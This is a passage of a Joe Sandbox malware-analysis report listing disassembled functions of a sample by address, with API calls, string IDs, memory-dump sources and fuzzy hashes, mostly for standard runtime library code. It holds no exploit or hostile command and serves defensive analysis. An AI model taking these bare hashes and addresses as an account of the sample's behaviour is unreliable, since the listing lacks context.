                                          • CloseHandle.KERNEL32(?,?,?,?,0093A380,000000FF), ref: 008F0A35
                                            • Part of subcall function 008F06C0: GetCurrentProcessId.KERNEL32(00000000,008EFB85,00000000,?,707A716D), ref: 008F075C
                                          • SetEvent.KERNEL32(?,707A716D,?,?,?,0093A380,000000FF), ref: 008F0A43
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: Event$CloseCurrentHandleOpenProcess
                                          • String ID: mqzp
                                          • API String ID: 1808840098-955126501
                                          • Opcode ID: 8679e8353c14d751b8b40cb91a76e481e0707e9a6895f19d0a77541d9b9b99ed
                                          • Instruction ID: 652f04f5469fb4e70804d4657474def2849f1aaf7ae3dc3d3b5145fa06eef10e
                                          • Opcode Fuzzy Hash: 8679e8353c14d751b8b40cb91a76e481e0707e9a6895f19d0a77541d9b9b99ed
                                          • Instruction Fuzzy Hash: 1B118E35A05728AFC721CF34CC05F66B7A8FB05B30F008256ED18E7691D735A9108AE1
                                          Function 0092030A Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 35COMMON
                                          Download Yara Rule
                                          APIs
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: _free
                                          • String ID: `)Q$`)Q
                                          • API String ID: 269201875-212282590
                                          • Opcode ID: f31d32120ebb334777e8ec709e611d558d1b89f998aa0f11ee1703831a05faaa
                                          • Instruction ID: 7475d057ffc8667d5bca693399cd0b3e8792feb7129b9f970190a2883cdee7ab
                                          • Opcode Fuzzy Hash: f31d32120ebb334777e8ec709e611d558d1b89f998aa0f11ee1703831a05faaa
                                          • Instruction Fuzzy Hash: E5E02B6260593057D625B33A7C017AF165A5FC1371F220326F224C71DECF744C4252F1
                                          Function 00934B38 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 34COMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          • __EH_prolog3_catch.LIBCMT ref: 00934B3F
                                          • make_shared.LIBCPMT ref: 00934B8A
                                            • Part of subcall function 0093481F: __EH_prolog3.LIBCMT ref: 00934826
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: H_prolog3H_prolog3_catchmake_shared
                                          • String ID: MOC$RCC
                                          • API String ID: 1798871530-2084237596
                                          • Opcode ID: d67f8151ce9f8eb87cd038d1536ff914bc979994b045f42364c26b4d46c2d387
                                          • Instruction ID: afd1be30bf717e35fb8c5d28e6f550b6339193b081dfbcff4ffe89f988f5f7a9
                                          • Opcode Fuzzy Hash: d67f8151ce9f8eb87cd038d1536ff914bc979994b045f42364c26b4d46c2d387
                                          • Instruction Fuzzy Hash: DAF0F470A00214DFCB15AF65D84566D7BF8EF45740F4680E5F5809F261CB78AE85CF92
                                          Function 009001D0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 28threadCOMMON
                                          Download Yara Rule
                                          APIs
                                          • Concurrency::details::FreeThreadProxy::ReturnIdleProxy.LIBCONCRT ref: 009001F2
                                          • std::invalid_argument::invalid_argument.LIBCONCRT ref: 00900205
                                          • __CxxThrowException@8.LIBVCRUNTIME ref: 00900213
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: Concurrency::details::Exception@8FreeIdleProxyProxy::ReturnThreadThrowstd::invalid_argument::invalid_argument
                                          • String ID: pContext
                                          • API String ID: 1990795212-2046700901
                                          • Opcode ID: 10d5057947ef4fae04474dd965a09db3331cfba88d3906495f2d1c975178524b
                                          • Instruction ID: cef0a316a1dbfd679a11461cce8ec13a32948f3a897233383b921330e9b1dae3
                                          • Opcode Fuzzy Hash: 10d5057947ef4fae04474dd965a09db3331cfba88d3906495f2d1c975178524b
                                          • Instruction Fuzzy Hash: 58E09237B00204ABCA00BB69E80ADAEB7BDAEC4B707144016A511A3391DF70AA01C6D0
                                          Function 008F68B3 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 21COMMON
                                          Download Yara Rule
                                          APIs
                                          • std::invalid_argument::invalid_argument.LIBCONCRT ref: 008F68E3
                                          • __CxxThrowException@8.LIBVCRUNTIME ref: 008F68F1
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: Exception@8Throwstd::invalid_argument::invalid_argument
                                          • String ID: pScheduler$version
                                          • API String ID: 1687795959-3154422776
                                          • Opcode ID: dcdfb8c324131b6efe03cc12eb34ae58c64b21c1035f07176d6f09d8e08cfa5c
                                          • Instruction ID: d7349df4e92e43d439457bcebaf057406c6d7ffe85831c23566c6ae762373738
                                          • Opcode Fuzzy Hash: dcdfb8c324131b6efe03cc12eb34ae58c64b21c1035f07176d6f09d8e08cfa5c
                                          • Instruction Fuzzy Hash: 7FE0863150060CB6CB11FAA8C81BEAD7774FB9039CF108137B711A10D5A7B4D599CB52
                                          Function 0090AA7A Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 21COMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          • GetLastError.KERNEL32(?,Dflt,009099B3,?,00979A60,?,?,?,?,?,?,?), ref: 0090AA88
                                          • ___vcrt_FlsGetValue.LIBVCRUNTIME ref: 0090AA96
                                          • SetLastError.KERNEL32(00000000,?,?,?,?,?), ref: 0090AA9F
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: ErrorLast$Value___vcrt_
                                          • String ID: Dflt
                                          • API String ID: 483936075-3880269418
                                          • Opcode ID: eec7247bb72899e94f33a290e16efe3eefe1eb6a7754cfc7274d130d809dd59c
                                          • Instruction ID: 51e4dda157c373b817a37c25a67f5b6576f70cbe1693862f667c4bb5f1603faf
                                          • Opcode Fuzzy Hash: eec7247bb72899e94f33a290e16efe3eefe1eb6a7754cfc7274d130d809dd59c
                                          • Instruction Fuzzy Hash: 12D0123B6292265B8B109B74FC099F537AAE6C23323154731F134C20E4D7789886A690
                                          Function 00926547 Relevance: 6.3, APIs: 4, Instructions: 305COMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: __alldvrm$_strrchr
                                          • String ID:
                                          • API String ID: 1036877536-0
                                          • Opcode ID: ad99e46c569596203c082e93197e2272087a2f098eeb33166ae3d223683c202c
                                          • Instruction ID: d56d6084aba55fa461e3740cac96a24b193fdf20a4910515a388a337508b5cb3
                                          • Opcode Fuzzy Hash: ad99e46c569596203c082e93197e2272087a2f098eeb33166ae3d223683c202c
                                          • Instruction Fuzzy Hash: 60A19A72A003A69FDB21CF28E8917BEBFE8EF55314F1841ADE4859B685C7388D41C750
                                          Function 008DCE35 Relevance: 6.3, APIs: 4, Instructions: 289COMMON
                                          Download Yara Rule
                                          APIs
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: _strcspn$H_prolog3_ctype
                                          • String ID:
                                          • API String ID: 838279627-0
                                          • Opcode ID: 0c910d0a8091b963950401bce230059a527b457f145b71279c2cb9bbc9cb8e92
                                          • Instruction ID: 1018594f79e1426c0c12c297ff13d428e84774747f77744711dee6675eb2384e
                                          • Opcode Fuzzy Hash: 0c910d0a8091b963950401bce230059a527b457f145b71279c2cb9bbc9cb8e92
                                          • Instruction Fuzzy Hash: 24B128B59002499FCF15DFA8C984AEEBBB9FF49310F14455AE805EB341D730AE46CBA1
                                          Function 008DD14C Relevance: 6.3, APIs: 4, Instructions: 289COMMON
                                          Download Yara Rule
                                          APIs
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: _strcspn$H_prolog3_ctype
                                          • String ID:
                                          • API String ID: 838279627-0
                                          • Opcode ID: 369c59a20b46653602c7bf0046a09874eab3da488bf6c4ebeb0360c12f418a91
                                          • Instruction ID: 38295e53602491b685534a8cc6c4ec89b07751c1d830d8bcf6e5da7505e5e444
                                          • Opcode Fuzzy Hash: 369c59a20b46653602c7bf0046a09874eab3da488bf6c4ebeb0360c12f418a91
                                          • Instruction Fuzzy Hash: 09B12775900249EFDF14DFA8C984AEEBBB9FF09310F14455AE805EB351D730AA45CBA2
                                          Function 008D6168 Relevance: 6.3, APIs: 4, Instructions: 281COMMON
                                          Download Yara Rule
                                          APIs
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: _strcspn$H_prolog3_ctype
                                          • String ID:
                                          • API String ID: 838279627-0
                                          • Opcode ID: afb39560b3ab4307c44b820dd8649c27ffb8cc667d2f807b3ecefb6eca124645
                                          • Instruction ID: 3c4996e74987b3ea919e384a9820ab5b8a1eb99e6e057e862f8d1b3182801370
                                          • Opcode Fuzzy Hash: afb39560b3ab4307c44b820dd8649c27ffb8cc667d2f807b3ecefb6eca124645
                                          • Instruction Fuzzy Hash: A1B1277190025D9FDF14DFA8C981AEEBBB9FF08310F14425AE805EB352E770AA55CB61
                                          Function 0090AAFF Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: AdjustPointer
                                          • String ID:
                                          • API String ID: 1740715915-0
                                          • Opcode ID: a538f872a28120b81a68bee4a21770a630dc4104b028eceed240fe39cc25ce7a
                                          • Instruction ID: f50cb23cf899a9f85874ee562fedbbdcba5985c64a0734ea2cc07221d48c7f8c
                                          • Opcode Fuzzy Hash: a538f872a28120b81a68bee4a21770a630dc4104b028eceed240fe39cc25ce7a
                                          • Instruction Fuzzy Hash: 6151F372600715AFEB288F54D841BBA77B9FF40710F25452DE885862C1D735ED81DBD2
                                          Function 008F60E3 Relevance: 6.1, APIs: 4, Instructions: 101COMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          • Concurrency::details::ResourceManager::InitializeRMBuffers.LIBCMT ref: 008F60F6
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: BuffersConcurrency::details::InitializeManager::Resource
                                          • String ID:
                                          • API String ID: 3433162309-0
                                          • Opcode ID: aafbe6a4a4e633b9144727f9f0ded1d05e1ac1f74017ade32a8fd0b4d5537b70
                                          • Instruction ID: a81c3323a295cdc6b599ba17455d1e33c22539634f67e367a12e6b60a9dee4be
                                          • Opcode Fuzzy Hash: aafbe6a4a4e633b9144727f9f0ded1d05e1ac1f74017ade32a8fd0b4d5537b70
                                          • Instruction Fuzzy Hash: BD310975A00309DFCF10DF64C8C0ABE7BB9FB44314F1405AADA05AB246E770AA95DBA1
                                          Function 009032C9 Relevance: 6.1, APIs: 4, Instructions: 75COMMON
                                          Download Yara Rule
                                          APIs
                                          • Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 00903319
                                            • Part of subcall function 008FD288: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 008FD2A9
                                          • Concurrency::details::InternalContextBase::SpinUntilBlocked.LIBCMT ref: 00903332
                                          • Concurrency::location::_Assign.LIBCMT ref: 00903348
                                          • __CxxThrowException@8.LIBVCRUNTIME ref: 00903389
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: Context$Base::Concurrency::details::$EventThrow$AssignBlockedConcurrency::location::_Exception@8InternalSpinTraceUntil
                                          • String ID:
                                          • API String ID: 1204113144-0
                                          • Opcode ID: 02b0d51d55236fd615f0bdcc6dac9050086a0303f68a4e23cd090a0e2ec2bd77
                                          • Instruction ID: 6d13516066e649339a249cb6e5847789ccac997aad202e3b89e453001c4e32ea
                                          • Opcode Fuzzy Hash: 02b0d51d55236fd615f0bdcc6dac9050086a0303f68a4e23cd090a0e2ec2bd77
                                          • Instruction Fuzzy Hash: FC21A171B00218EFCB04EB78C88697DB7B9FF88760B948559E501E72C1DF34AE068B91
                                          Function 00920463 Relevance: 6.1, APIs: 4, Instructions: 63COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 787bec4cbce7ea97bcd182904d76502de8ed4766312ac801d0cfead0f89318ec
                                          • Instruction ID: 6c632f159c2612147b61ee4967a743c9c36e0bb0a171d5df020eb2fb0b279091
                                          • Opcode Fuzzy Hash: 787bec4cbce7ea97bcd182904d76502de8ed4766312ac801d0cfead0f89318ec
                                          • Instruction Fuzzy Hash: 34018BB260A6263EF6203A787CC0F67A31DDFC23B8B318325B625611FAFA708C404160
                                          Function 008EF180 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 59COMMON
                                          Download Yara Rule
                                          APIs
                                          • CloseHandle.KERNEL32(?,707A716D,?,?,707A7195,707A71A5,0093C930,000000FF,?,008F085C,707A71A5,?,707A71A5,?,008F0509), ref: 008EF1D9
                                          • CloseHandle.KERNEL32(?,707A716D,?,?,707A7195,707A71A5,0093C930,000000FF,?,008F085C,707A71A5,?,707A71A5,?,008F0509), ref: 008EF1EE
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: CloseHandle
                                          • String ID: mqzp$mqzpmqzp
                                          • API String ID: 2962429428-2276261917
                                          • Opcode ID: 2ae8f1904c65202483a03c283ff445dda1e8bf878a48f31e30f84f01f27ed77b
                                          • Instruction ID: bf69cb0ca5668fec9d92bd4819f68d206b6ea536f51333706acdf8b95ad18369
                                          • Opcode Fuzzy Hash: 2ae8f1904c65202483a03c283ff445dda1e8bf878a48f31e30f84f01f27ed77b
                                          • Instruction Fuzzy Hash: 9D118F76A04648EBDB20CF69C840B59B3A8FF46734F254729EA39D33C1DB30AD008B90
                                          Function 008F404C Relevance: 6.0, APIs: 4, Instructions: 39threadCOMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          • Concurrency::details::LoadLibraryAndCreateThread.LIBCONCRT ref: 008F4065
                                            • Part of subcall function 008F33EB: ___crtGetTimeFormatEx.LIBCMT ref: 008F3401
                                            • Part of subcall function 008F33EB: Concurrency::details::ReferenceLoadLibrary.LIBCONCRT ref: 008F3420
                                          • GetLastError.KERNEL32 ref: 008F4081
                                          • Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 008F4097
                                          • __CxxThrowException@8.LIBVCRUNTIME ref: 008F40A5
                                            • Part of subcall function 008F31C1: SetThreadPriority.KERNEL32(?,?), ref: 008F31CD
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: Concurrency::details::LibraryLoadThread$Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorCreateErrorException@8FormatLastPriorityReferenceThrowTime___crt
                                          • String ID:
                                          • API String ID: 1674182817-0
                                          • Opcode ID: 3574e28e2fa582117c7f9fea4ac4482e401925aa3496ac043e4ad9b9c7f84322
                                          • Instruction ID: fbdc372c5bab73772a2a0a3925fc6266a6a8728a1eb3792304e428e6ec6258ff
                                          • Opcode Fuzzy Hash: 3574e28e2fa582117c7f9fea4ac4482e401925aa3496ac043e4ad9b9c7f84322
                                          • Instruction Fuzzy Hash: 07F027B2A043192AD720B2755C07FBB369CFB00350F10082BB700E61C2EDA4E80086B1
                                          Function 008F312D Relevance: 6.0, APIs: 4, Instructions: 29registryCOMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          • RegisterWaitForSingleObject.KERNEL32(008F90F0,009051C4,75EC5D89,009052C4,000000FF,0000000C), ref: 008F3144
                                          • GetLastError.KERNEL32(?,009052C4,75EC5D89,009051C4,008F90F0,?,?,?,?,008F90F0,?,?,?,?,00000000), ref: 008F3153
                                          • Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 008F3169
                                          • __CxxThrowException@8.LIBVCRUNTIME ref: 008F3177
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
